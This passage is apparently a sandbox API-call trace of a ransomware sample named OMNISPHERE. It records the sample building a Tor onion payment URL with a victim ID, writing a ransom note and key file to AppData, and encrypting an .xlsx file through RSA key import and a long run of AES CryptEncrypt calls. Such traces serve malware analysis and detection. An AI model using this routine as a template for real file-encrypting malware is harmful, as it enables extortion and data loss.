| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.910] GetProcessHeap () returned 0x1600000 [0068.910] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641908 [0068.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641908, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.910] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.910] GetProcessHeap () returned 0x1600000 [0068.910] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f930 [0068.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f930, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.910] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.910] GetProcessHeap () returned 0x1600000 [0068.910] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bc18 [0068.911] PathCombineW (in: pszDest=0x163bc18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.911] GetProcessHeap () returned 0x1600000 [0068.911] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165d128 [0068.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.911] WriteFile (in: hFile=0x3a0, lpBuffer=0x165d128*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165d128*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.911] CloseHandle (hObject=0x3a0) returned 1 [0068.911] GetProcessHeap () returned 0x1600000 [0068.911] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1658be8 | out: hHeap=0x1600000) returned 1 [0068.911] GetProcessHeap () returned 0x1600000 [0068.911] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f980 [0068.911] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.912] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.912] CloseHandle (hObject=0x3a0) returned 1 [0068.912] GetProcessHeap () returned 0x1600000 [0068.912] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0068.912] GetProcessHeap () returned 0x1600000 [0068.912] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163b970 | out: hHeap=0x1600000) returned 1 [0068.912] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName="Sun", cAlternateFileName="")) returned 1 [0068.912] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc86d870, ftCreationTime.dwHighDateTime=0x1d4d5a2, ftLastAccessTime.dwLowDateTime=0x3b2e2100, ftLastAccessTime.dwHighDateTime=0x1d4c64c, ftLastWriteTime.dwLowDateTime=0x3b2e2100, ftLastWriteTime.dwHighDateTime=0x1d4c64c, nFileSizeHigh=0x0, nFileSizeLow=0x13abd, dwReserved0=0x0, dwReserved1=0xed, cFileName="t9rbGMSGn.xlsx", cAlternateFileName="T9RBGM~1.XLS")) returned 1 [0068.912] GetProcessHeap () returned 0x1600000 [0068.912] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6c) returned 0x1649e70 [0068.912] PathCombineW (in: pszDest=0x1649e70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="t9rbGMSGn.xlsx" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx" [0068.912] StrStrW (lpFirst=".omnisphere", lpSrch=".xlsx") returned 0x0 [0068.912] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\t9rbGMSGn.xlsx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\t9rbgmsgn.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.912] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=80573) returned 1 [0068.912] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x13599, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.912] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] GetTickCount () returned 0x1151828 [0068.913] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c520) returned 1 [0068.914] CryptImportKey (in: hProv=0x163c520, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639ae8) returned 1 [0068.914] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.914] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0068.914] CryptReleaseContext (hProv=0x163c520, dwFlags=0x0) returned 1 [0068.914] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13abd, lpName=0x0) returned 0x3a4 [0068.914] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13abd) returned 0x3450000 [0068.915] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b970) returned 1 [0068.916] CryptImportKey (in: hProv=0x163b970, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639728) returned 1 [0068.916] CryptSetKeyParam (hKey=0x1639728, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.916] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.917] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.918] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.919] 